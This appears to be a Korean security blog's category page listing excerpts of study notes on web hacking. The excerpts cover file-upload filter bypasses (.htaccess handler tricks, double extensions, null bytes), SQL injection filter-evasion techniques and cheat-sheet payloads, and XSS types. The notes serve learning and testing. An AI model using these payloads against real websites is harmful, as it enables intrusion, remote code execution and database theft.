본문 바로가기

2. Information Security/1. Insight10

10. 웹 해킹 이론, 실습 실습환경 : Bbox 2020. 6. 10.
9. 다운로드 공격 1. apache 설정 - Options Indexes FollowSymLinks MultiViews 2020. 2. 13.
8. 업로드 공격 우회 1. .htaccess 파일 업로드 (아파치 디렉토리 권한 설정 파일 -> 디렉토리 내 존재 시 적용) - png 파일 스크립트 허용 처리 AddHandler php7-script .php .png AddType text/html .php .png - php 파일 읽기 php_flag_engine off 2. 확장자 대소문자 변경 php -> PhP 3. 이중 확장자 - webshell.php.suspected -> 실행시 webshell.php로 실행됨 - 검증 시 우측부터 실행 시 좌측부터 수행하기 때문 - 블랙리스트 기반 필터링 시 사용, 화이트리스트 기반 필터링 시 무용 4. test.php%00.jpg (취약한 버전에서 동작) 5. png, jpg 파일 내 코드 삽입 -> 해당 디렉토리 실행 권.. 2020. 2. 13.
7. Filtering 우회 2 1) MySQL syntax - MySQL은 상당히 말랑말랑한 문법체계를 가지고 있다. 무슨말인고 하니 SeLeCT와 같이 Keyword는 대소문자를 구분하지않고 select * from users와 같은 query도 공백을 필터링하는경우 %0a같은 delimiter를 쓸수 있고 또한 select(*)from(users); 와같이 공백이 필요한 부분에 ()를 감싸는것도 적법한 문장이다. 이러한 MySQL의 특성을 이용해 여러가지 필터링을 우회 할 수 있습니다. 2) Keyword Filter - 인젝션을 가능케 하는 여러가지 키워드 (union, select, limit, having, like) 등등의 필터링은 인젝션을 얼핏 봐서는 불가능하게 만든다. 이런경우에 mysql내 다양한 내장함수들을 사용함으.. 2020. 2. 13.
6. Filtering 우회 1. Preg_match 우회 - \ : \ 앞에 오는 문자의 경우 특수문자가 아닌 일반문자로 처리하게 됨 - preg_match('/'/'); 여기서 ' 문자를 필터링 함 - www.example.com?id=admin&pw=test 폼에서 인젝션 공격을 수행한다고 하면 - www.example.com?id=\&pw=or+1=1# 이런식으로 공격하면 되는데 - $_GET['id'] = \ / $_GET['pw'] = or+1=1# - 쿼리를 살펴보면 아래와 같다 - 정상쿼리 : select id from userdb where id='admin' and pw='test'; - 공격쿼리 : select id from userdb where id='\' and pw=' or 1=1#' 2. 공백우회 - /.. 2020. 2. 11.
5. Filtering 우회 = LIKE, >, 한 줄 주석 /**/ => 여러 줄 주석 #, --과 같은 한 줄 범위 주석 우회 \n (라인피드, %0A) %20 (스페이스바) %0A, %0B, %0C, %0D, %09, /**/, () ' (싱글 쿼터) " (더블 쿼터) ' (싱글 쿼터) 우회 \를 사용하여 문자열 취급을 시켜줌 (preg_match 우회 가능) ereg, eregi 우회 %00 후 문자열 작성 (why? ereg, eregi는 %00까지 패턴 검색) str_replace('abc','',$array) 우회 ababcc와 같이 빈 칸을 이용해 우회 ereg 우회 대소문자 적절히 섞기 -> admin이면 ADMIN, Admin 등 and, or 각각 &&, || (url에서 &&는 사용 X) 문자열 비교 hex().. 2020. 2. 5.
4. SQL INJECTION CHEAT SHEET (SQL 인젝션 치트 시트) 1. Error Based SQL InjectionHaving Error (This Column Name)- www.test.com/?no=1' having 1=1 #- www.test.com/?no=(1)having(1)in(1) Group by Having Error (Another Column Name)- www.test.com/?no=1' having 1=1-- (Column name)- www.test.com/?no=1' group by no having 1=1# -> name column error- www.test.com/?no=1' group by no, name having 1=1# -> code column erorr- www.test.com/?no=1' group by no, name.. 2020. 2. 4.
3. XSS 1. XSS - Stored XSS : DB등에 악성 스크립트를 저장시켜 호출 시 동작하게 함 - Reflected XSS : 팔라미터입력값에 악성 스크립트를 삽입하여 출력 시 동작하게 함 (주로 검색, 오류 페이지 등 사용) 2. CSRF 2020. 1. 13.
2. SQL INJECTION CHEAT SHEET (SQL 인젝션) 1. ?bid=if(1=1,52,2) : select bid from board where bid=if(1=1,52,2); 2. ?bid=if((1)like(1),1,2)# : select if((1)like(1),1,2); : select instr(1,1); 3. ?bid=52 or bid=if((select(ascii(substr((select(bid)from(board)where(bid)like(52)),1,1))))=1,52,0) 4. ?bid=52 union select (1)# : select bid from board where bid=52 union select (1); 5. ?bid=52 union select (version())# : select bid from board where.. 2019. 10. 20.